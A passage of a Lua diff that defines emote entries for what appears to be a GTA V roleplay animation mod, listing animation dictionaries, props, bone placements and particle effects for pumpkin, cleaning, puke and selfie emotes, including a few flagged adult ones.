+ "Pumpkin",
+ AnimationOptions = {
+ Prop = "prop_veg_crop_03_pump",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0200,
+ 0.0600,
+ -0.1200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pump2"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Pumpkin 2",
+ AnimationOptions = {
+ Prop = "prop_veg_crop_03_pump",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.16000,
+ -0.2100,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pump3"] = {
+ "missfbi4prepp1",
+ "idle",
+ "Pumpkin 3",
+ AnimationOptions = {
+ Prop = "reh_prop_reh_lantern_pk_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0010,
+ 0.0660,
+ -0.0120,
+ 171.9169,
+ 179.8707,
+ -39.9860
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pump4"] = {
+ "missfbi4prepp1",
+ "idle",
+ "Pumpkin 4",
+ AnimationOptions = {
+ Prop = "reh_prop_reh_lantern_pk_01b",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0010,
+ 0.0660,
+ -0.0120,
+ 171.9169,
+ 179.8707,
+ -39.9860
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pump5"] = {
+ "missfbi4prepp1",
+ "idle",
+ "Pumpkin 5",
+ AnimationOptions = {
+ Prop = "reh_prop_reh_lantern_pk_01c",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0010,
+ 0.0660,
+ -0.0120,
+ 171.9169,
+ 179.8707,
+ -39.9860
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mop"] = {
+ "missfbi4prepp1",
+ "idle",
+ "Mop",
+ AnimationOptions = {
+ Prop = "prop_cs_mop_s",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0200,
+ -0.0600,
+ -0.2000,
+ -13.377,
+ 10.3568,
+ 17.9681
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mop2"] = {
+ "move_mop",
+ "idle_scrub_small_player",
+ "Mop 2",
+ AnimationOptions = {
+ Prop = "prop_cs_mop_s",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.1200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["jerkf"] = {
+ "switch@trevor@jerking_off",
+ "trev_jerking_off_loop",
+ "JerkOff! Female",
+ AnimationOptions = {
+ Prop = 'prop_cs_dildo_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.09,
+ 0.05,
+ -0.03,
+ 90.0,
+ 80.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ },
+ AdultAnimation = true
+ },
+ ["rake"] = {
+ "anim@amb@drug_field_workers@rake@male_a@base",
+ "base",
+ "Rake",
+ AnimationOptions = {
+ Prop = "prop_tool_rake",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["rake2"] = {
+ "anim@amb@drug_field_workers@rake@male_a@idles",
+ "idle_b",
+ "Rake 2",
+ AnimationOptions = {
+ Prop = "prop_tool_rake",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["rake3"] = {
+ "anim@amb@drug_field_workers@rake@male_b@base",
+ "base",
+ "Rake 3",
+ AnimationOptions = {
+ Prop = "prop_tool_rake",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["rake4"] = {
+ "anim@amb@drug_field_workers@rake@male_b@idles",
+ "idle_d",
+ "Rake 4",
+ AnimationOptions = {
+ Prop = "prop_tool_rake",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["broom"] = {
+ "anim@amb@drug_field_workers@rake@male_a@base",
+ "base",
+ "Broom",
+ AnimationOptions = {
+ Prop = "prop_tool_broom",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ 0.0400,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["broom2"] = {
+ "anim@amb@drug_field_workers@rake@male_a@idles",
+ "idle_b",
+ "Broom 2",
+ AnimationOptions = {
+ Prop = "prop_tool_broom",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ 0.0400,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["broom3"] = {
+ "anim@amb@drug_field_workers@rake@male_b@base",
+ "base",
+ "Broom 3",
+ AnimationOptions = {
+ Prop = "prop_tool_broom",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ 0.0400,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["broom4"] = {
+ "anim@amb@drug_field_workers@rake@male_b@idles",
+ "idle_d",
+ "Broom 4",
+ AnimationOptions = {
+ Prop = "prop_tool_broom",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ 0.0400,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["champw"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Champagne Waiter",
+ AnimationOptions = {
+ Prop = "vw_prop_vw_tray_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0100,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ SecondProp = 'prop_champ_cool',
+ SecondPropBone = 28422,
+ SecondPropPlacement = {
+ 0.0,
+ 0.0,
+ 0.010,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["shit"] = {
+ "missfbi3ig_0",
+ "shit_loop_trev",
+ "Shit",
+ AnimationOptions = {
+ Prop = "prop_toilet_roll_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0700,
+ -0.02000,
+ -0.2100,
+ 0,
+ 0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_poo",
+ PtfxNoProp = true,
+ PtfxBone = 11816,
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ -0.1,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.3
+ },
+ PtfxInfo = Translate('poop'),
+ PtfxWait = 0,
+ PtfxCanHold = true
+ }
+ },
+ ["shit2"] = {
+ "missfbi3ig_0",
+ "nill",
+ "Shit While Walking",
+ AnimationOptions = {
+ Prop = "prop_toilet_roll_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0700,
+ -0.02000,
+ -0.2100,
+ 0,
+ 0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_poo",
+ PtfxNoProp = true,
+ PtfxBone = 11816,
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ -0.1,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.4
+ },
+ PtfxInfo = Translate('poop'),
+ PtfxWait = 0,
+ PtfxCanHold = true
+ }
+ },
+ ["puke"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "cross_arms@dark",
+ "cross_arms_clip",
+ "Puke",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_paletoscore",
+ PtfxName = "scr_trev_puke",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('puke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ },
+ },
+ ["puke2"] = {
+ "missheistpaletoscore1leadinout",
+ "trv_puking_leadout",
+ "Puke 2",
+ AnimationOptions = {
+ EmoteLoop = false,
+ EmoteMoving = true,
+ PtfxAsset = "scr_paletoscore",
+ PtfxName = "scr_trev_puke",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('puke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ },
+ },
+ ["puke3"] = {
+ "anim@scripted@ulp_missions@injured_agent@",
+ "idle",
+ "Puke 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ PtfxAsset = "scr_paletoscore",
+ PtfxName = "scr_trev_puke",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('puke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ },
+ },
+ ["puke4"] = {
+ "anim@scripted@freemode@throw_up_toilet@male@",
+ "vomit",
+ "Puke 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ PtfxAsset = "scr_paletoscore",
+ PtfxName = "scr_trev_puke",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('puke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ },
+ },
+ ["selfie"] = {
+ "anim@mp_player_intuppertake_selfie",
+ "idle_a",
+ "Selfie",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfie2"] = {
+ "cellphone@self@franklin@",
+ "peace",
+ "Selfie 2",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfie3"] = {
+ "cellphone@self@franklin@",
+ "west_coast",
+ "Selfie 3 - West Side",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfie4"] = {
+ "cellphone@self@trevor@",
+ "aggressive_finger",
+ "Selfie 4 - Finger",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfie5"] = {
+ "cellphone@self@trevor@",
+ "proud_finger",
+ "Selfie 5 - Finger 2",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7},
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfie6"] = {
+ "cellphone@self@trevor@",
+ "throat_slit",
+ "Selfie 6 - Throat Slit",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfie7"] = {
+ "cellphone@self@franklin@",
+ "chest_bump",
+ "Selfie 7 - Chest Bump",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiehigh"] = { -- Custom Emote By Darks Animations
+ "girl_groupe_b@darksj",
+ "girl_groupe_b_clip",
+ "Selfie High",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 26611,
+ PropPlacement = {
+ 0.0620,
+ -0.0400,
+ 0.0080,
+ -17.1672,
+ 9.8904,
+ -18.1951
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiepeace"] = { -- MissSnowie Custom Emote
+ "mirror_selfie@peace_sign",
+ "base",
+ "Selfie Peace",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 57005,
+ PropPlacement = {
+ 0.1700,
+ 0.0299,
+ -0.0159,
+ -126.2687,
+ -139.9058,
+ 35.6203
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecrouch"] = { -- MissSnowie Custom Emote
+ "crouching@taking_selfie",
+ "base",
+ "Selfie Crouching",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 18905,
+ PropPlacement = {
+ 0.1580,
+ 0.0180,
+ 0.0300,
+ -150.4798,
+ -67.8240,
+ -46.0417
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecrouch2"] = { -- Wolf's Square Custom Emote
+ "eagle@girlphonepose13",
+ "girl",
+ "Selfie Crouching 2",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0670,
+ 0.0300,
+ 0.0300,
+ -90.0000,
+ 0.0000,
+ -25.9000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecrouch3"] = { -- Custom Emote By Struggleville
+ "anim@male_insta_selfie",
+ "insta_selfie_clip",
+ "Selfie Crouching 3",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0700,
+ 0.0100,
+ 0.0690,
+ 0.0,
+ 0.0,
+ -150.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecrouch4"] = { -- Custom emote by Struggleville
+ "anim@female_selfie_risque",
+ "selfie_risque_clip",
+ "Selfie Crouching 4",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 18905,
+ PropPlacement = {
+ 0.1580,
+ 0.0180,
+ 0.0300,
+ -150.4798,
+ -67.8240,
+ -46.0417
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfieegirl"] = { -- Custom emote by Struggleville
+ "anim@female_egirl_cute_selfie",
+ "cute_selfie_clip",
+ "Selfie E Girl",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 26613, -- Left Finger 30
+ PropPlacement = {
+ 0.0760,
+ -0.0220,
+ 0.0350,
+ -22.0968,
+ 30.4351,
+ -7.9339
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfieslut"] = { -- Custom Emote By Struggleville
+ "anim@female_floor_slutarch_selfie",
+ "slutarch_selfie_clip",
+ "Selfie Slut Pose",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 58868, -- Right Finger 20
+ PropPlacement = {
+ 0.0350,
+ 0.0140,
+ 0.0290,
+ 167.9999,
+ 180.0000,
+ -8.8999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+
+ },
+ AdultAnimation = true
+ },
+ ["selfiesit"] = { -- Emote by WhiskerValeMod. Need to configure camera flash and texture variants
+ "mouse@female_sitting_selfie",
+ "female_sitting_selfie_clip",
+ "Selfie Sitting",
+ AnimationOptions = {
+ Prop = 'prop_phone_taymckenzienz',
+ PropBone = 57005,
+ PropPlacement = {
+ 0.1380,
+ 0.0300,
+ -0.0430,
+ -111.0946,
+ -117.8069,
+ 11.7386
+ },
+ SecondProp = 'apa_mp_h_stn_chairarm_23',
+ SecondPropBone = 0,
+ SecondPropPlacement = {
+ -0.0100,
+ -0.0800,
+ -0.6800,
+ -180.0000,
+ -180.0000,
+ 10.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["selfiesit2"] = { -- Emote by WolfSquareEmotes
+ "eagle@boypose05",
+ "boy",
+ "Selfie Sitting 2",
+ AnimationOptions = {
+ Prop = 'prop_phone_taymckenzienz',
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 4090, -- Left Finger 2
+ PropPlacement = {
+ 0.0130,
+ 0.0120,
+ -0.0070,
+ -103.6673,
+ -11.0026,
+ 18.2605
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiesit3"] = { -- Emote by Chocoholic Animations
+ "chocoholic@single77",
+ "single77_clip",
+ "Selfie Sitting 3",
+ AnimationOptions = {
+ Prop = 'prop_phone_taymckenzienz',
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 4185,
+ PropPlacement = {
+ 0.0130,
+ -0.0190,
+ 0.0320,
+ 0.0,
+ 0.0000,
+ 0.0,
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiesit4"] = { -- Emote by Chocoholic Animations
+ "chocoholic@single89",
+ "single89_clip",
+ "Selfie Sitting 4",
+ AnimationOptions = {
+ Prop = 'prop_phone_taymckenzienz',
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 4169, -- Left Finger 11
+ PropPlacement = {
+ 0.0100,
+ -0.0330,
+ 0.000,
+ -19.7197,
+ 9.4080,
+ -3.4048
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
